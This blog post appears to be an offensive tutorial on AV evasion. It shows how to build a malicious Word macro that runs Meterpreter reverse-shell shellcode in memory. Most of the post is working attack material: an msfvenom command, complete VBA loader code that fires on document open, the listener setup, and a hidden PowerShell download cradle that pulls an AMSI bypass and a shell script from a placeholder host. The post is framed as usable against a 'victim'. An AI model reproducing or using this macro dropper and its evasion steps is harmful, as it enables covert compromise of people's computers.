Running ShellCode in Memory | AV Evasion – VBA Version
If you try to download an executable to get a reverse shell on a system, it most likely will be detected and blocked by either host-based network monitoring system or AV/EDR sweeps it off, so this post we will discuss how to be stealthier and execute shell code in memory.
For the sake of this example, I am going to use a word macro as a dropper to do this.
Although it may seem complicated, all we need to do is:
1) Use something to allocate unmanaged memory
2) Copy our shell code into our allocated memory from step 1
3) Create execution thread
I have gone about doing these two ways:
1) Using VBA
2) Using Powershell
In this post, we will discuss how we can get this to work with VBA:
For this, we will use win32 APIs from kernal32.dll:
Let’s just be optimistic and generate our shellcode using msfvenom:
msfvenom -p windows/meterpreter/reverse_http LHOST=x.x.x.x LPORT=443 EXITFUNC=thread -f vbapplication
Couple of things to note here:
a) We are using 32bit arc for the meterpreter shell since MS word by default runs on 32-bit Arc
b) We are using “thread” as exit func instead of “process” to avoid our MS word getting terminated when shell exits
Read the MSDN docs to understand how the function used works:
The whole VBS looks like this:
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr Function MyMacro() Dim buf As Variant Dim addr As LongPtr Dim counter As Long Dim data As Long Dim res As Long buf = Array(insert shell code here) addr = VirtualAlloc(0, UBound(buf), &H3000, &H40) For counter = LBound(buf) To UBound(buf) data = buf(counter) res = RtlMoveMemory(addr + counter, data, 1) Next counter res = CreateThread(0, 0, addr, 0, 0, 0) End Function Sub Document_Open() MyMacro End Sub Sub AutoOpen() MyMacro End Sub
Once you have this, save the word document in macro format such as .doc or .docm
Set up the listener:
set payload windows/meterpreter/reverse_http set LHOST x.x.x.x set LPORT 443 set EXITFUNC thread set set ReverseListenerBindAddress <internal IP> exploit
Once, the victim opens the macro document the shell code runs in memory and we get a reverse shell:
Now this is a low-profile technique, but there are some issues with this:
1) The shell code present in word document which is saved on hard drive might get detected by the AV
2) Whenever the word file is closed the session get terminated since the SPAWNED process is a child of word file.
How can we improve these and make things more efficient?
I will write up on this in a different post, but I will give the folks reading this post a chance to try it for themselves, so here are some clues:
1) Use Powershell for this, Powershell cannot interact with win32 API directly, so use C# with the help of .NET framework (DllImportAttribute class).
2) Use P/Invoke APIs contained in the System.Runtime.InteropServices and System namespaces (changing C to C# datatype)
3) Now use Add-Type in PowerShell to compile and create object
Reference: Add-Type Example
4) Use .NET Copy method to copy the shellcode into memory
5) Finally, before running the shell code in memory make sure to use an AMSI bypass to run first (use PowerShell download cradle)
Something like this:
Sub ShellCodeRunner() Dim str As String str = "powershell IEX (New-Object Net.WebClient).DownloadString('http://X.X.X.X/AmsiBypass.ps1'); IEX (New-Object Net.WebClient).DownloadString('http://X.X.X.X/Shell.ps1')" Shell str, vbHide End Sub
You just need to craft the content of shell.ps1 as your homework :)
Proof of Concept: Evading Anti-Virus